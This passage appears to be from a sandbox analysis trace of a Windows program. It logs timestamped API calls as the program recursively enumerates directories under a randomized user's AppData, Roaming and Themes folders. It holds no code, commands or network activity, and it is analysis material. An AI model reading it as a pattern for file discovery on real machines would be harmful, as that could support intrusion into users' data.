HALPmcxz\\AppData") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" [0084.892] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*.*", lpFindFileData=0x18ee78 | out: lpFindFileData=0x18ee78*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x507510, dwReserved1=0x50750b, cFileName=".", cAlternateFileName="")) returned 0x5027d8 [0084.893] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0084.893] FindNextFileA (in: hFindFile=0x5027d8, lpFindFileData=0x18ee78 | out: lpFindFileData=0x18ee78*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0084.895] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0084.895] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0084.895] FindNextFileA (in: hFindFile=0x5027d8, lpFindFileData=0x18ee78 | out: lpFindFileData=0x18ee78*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0084.895] lstrcmpA (lpString1=".", lpString2="Roaming") returned -1 [0084.895] lstrcmpA (lpString1="..", lpString2="Roaming") returned -1 [0084.895] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*.*") returned="*.*" [0084.895] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\", lpString2="Roaming" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0084.895] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x508518, dwReserved1=0x508513, cFileName=".", cAlternateFileName="")) returned 0x502818 [0084.896] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0084.896] FindNextFileA (in: hFindFile=0x502818, lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0084.896] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0084.896] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0084.896] FindNextFileA (in: hFindFile=0x502818, lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0084.896] lstrcmpA (lpString1=".", lpString2="Microsoft") returned -1 [0084.896] lstrcmpA (lpString1="..", lpString2="Microsoft") returned -1 [0084.896] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\*.*") returned="*.*" [0084.896] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="Microsoft" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft" [0084.896] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\*.*", lpFindFileData=0x18ebd8 | out: lpFindFileData=0x18ebd8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x509520, dwReserved1=0x50951b, cFileName=".", cAlternateFileName="")) returned 0x502858 [0084.897] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0084.897] FindNextFileA (in: hFindFile=0x502858, lpFindFileData=0x18ebd8 | out: lpFindFileData=0x18ebd8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0084.897] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0084.897] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0084.897] FindNextFileA (in: hFindFile=0x502858, lpFindFileData=0x18ebd8 | out: lpFindFileData=0x18ebd8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0084.897] lstrcmpA (lpString1=".", lpString2="Windows") returned -1 [0084.897] lstrcmpA (lpString1="..", lpString2="Windows") returned -1 [0084.897] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\*.*") returned="*.*" [0084.897] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\", lpString2="Windows" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows" [0084.898] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\*.*", lpFindFileData=0x18ea88 | out: lpFindFileData=0x18ea88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x50a528, dwReserved1=0x50a523, cFileName=".", cAlternateFileName="")) returned 0x502898 [0084.898] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0084.898] FindNextFileA (in: hFindFile=0x502898, lpFindFileData=0x18ea88 | out: lpFindFileData=0x18ea88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0084.898] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0084.898] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0084.898] FindNextFileA (in: hFindFile=0x502898, lpFindFileData=0x18ea88 | out: lpFindFileData=0x18ea88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PrivacIE", cAlternateFileName="")) returned 1 [0084.898] lstrcmpA (lpString1=".", lpString2="PrivacIE") returned -1 [0084.899] lstrcmpA (lpString1="..", lpString2="PrivacIE") returned -1 [0084.899] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\*.*") returned="*.*" [0084.899] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\", lpString2="PrivacIE" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE" [0084.899] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\*.*", lpFindFileData=0x18e938 | out: lpFindFileData=0x18e938*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x50b530, dwReserved1=0x50b52b, cFileName=".", cAlternateFileName="")) returned 0x5028d8 [0084.900] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0084.900] FindNextFileA (in: hFindFile=0x5028d8, lpFindFileData=0x18e938 | out: lpFindFileData=0x18e938*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0084.900] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0084.900] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0084.900] FindNextFileA (in: hFindFile=0x5028d8, lpFindFileData=0x18e938 | out: lpFindFileData=0x18e938*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0084.900] lstrcmpA (lpString1=".", lpString2="Low") returned -1 [0084.900] lstrcmpA (lpString1="..", lpString2="Low") returned -1 [0084.901] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\*.*") returned="*.*" [0084.901] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\", lpString2="Low" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low" [0084.901] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low\\*.*", lpFindFileData=0x18e7e8 | out: lpFindFileData=0x18e7e8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x50c538, dwReserved1=0x50c533, cFileName=".", cAlternateFileName="")) returned 0x502918 [0084.901] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0084.901] FindNextFileA (in: hFindFile=0x502918, lpFindFileData=0x18e7e8 | out: lpFindFileData=0x18e7e8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0084.903] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0084.903] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0084.903] FindNextFileA (in: hFindFile=0x502918, lpFindFileData=0x18e7e8 | out: lpFindFileData=0x18e7e8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 0 [0084.903] FindClose (in: hFindFile=0x502918 | out: hFindFile=0x502918) returned 1 [0084.903] FindNextFileA (in: hFindFile=0x5028d8, lpFindFileData=0x18e938 | out: lpFindFileData=0x18e938*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 0 [0084.904] FindClose (in: hFindFile=0x5028d8 | out: hFindFile=0x5028d8) returned 1 [0084.904] FindNextFileA (in: hFindFile=0x502898, lpFindFileData=0x18ea88 | out: lpFindFileData=0x18ea88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PrivacIE", cAlternateFileName="")) returned 0 [0084.904] FindClose (in: hFindFile=0x502898 | out: hFindFile=0x502898) returned 1 [0084.904] FindNextFileA (in: hFindFile=0x502858, lpFindFileData=0x18ebd8 | out: lpFindFileData=0x18ebd8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0084.904] FindClose (in: hFindFile=0x502858 | out: hFindFile=0x502858) returned 1 [0084.904] FindNextFileA (in: hFindFile=0x502818, lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0084.904] FindClose (in: hFindFile=0x502818 | out: hFindFile=0x502818) returned 1 [0084.904] FindNextFileA (in: hFindFile=0x5027d8, lpFindFileData=0x18ee78 | out: lpFindFileData=0x18ee78*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0084.904] FindClose (in: hFindFile=0x5027d8 | out: hFindFile=0x5027d8) returned 1 [0084.904] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 0 [0084.905] FindClose (in: hFindFile=0x502798 | out: hFindFile=0x502798) returned 1 [0084.905] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0 [0084.905] FindClose (in: hFindFile=0x502758 | out: hFindFile=0x502758) returned 1 [0084.905] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0 [0084.905] FindClose (in: hFindFile=0x502718 | out: hFindFile=0x502718) returned 1 [0084.905] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="C", cAlternateFileName="")) returned 0 [0084.905] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0084.905] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x505500, dwReserved1=0x3, cFileName="Virtualized", cAlternateFileName="VIRTUA~1")) returned 0 [0084.905] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0084.905] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd8d1fc80, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Themes", cAlternateFileName="")) returned 1 [0084.905] lstrcmpA (lpString1=".", lpString2="Themes") returned -1 [0084.905] lstrcmpA (lpString1="..", lpString2="Themes") returned -1 [0084.905] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\*.*") returned="*.*" [0084.905] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\", lpString2="Themes" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Themes") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Themes" [0084.906] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Themes\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd8d1fc80, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x690056, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502698 [0084.906] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0084.906] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd8d1fc80, ftCreationTime.dwHighDateTime=0x1d3373f, 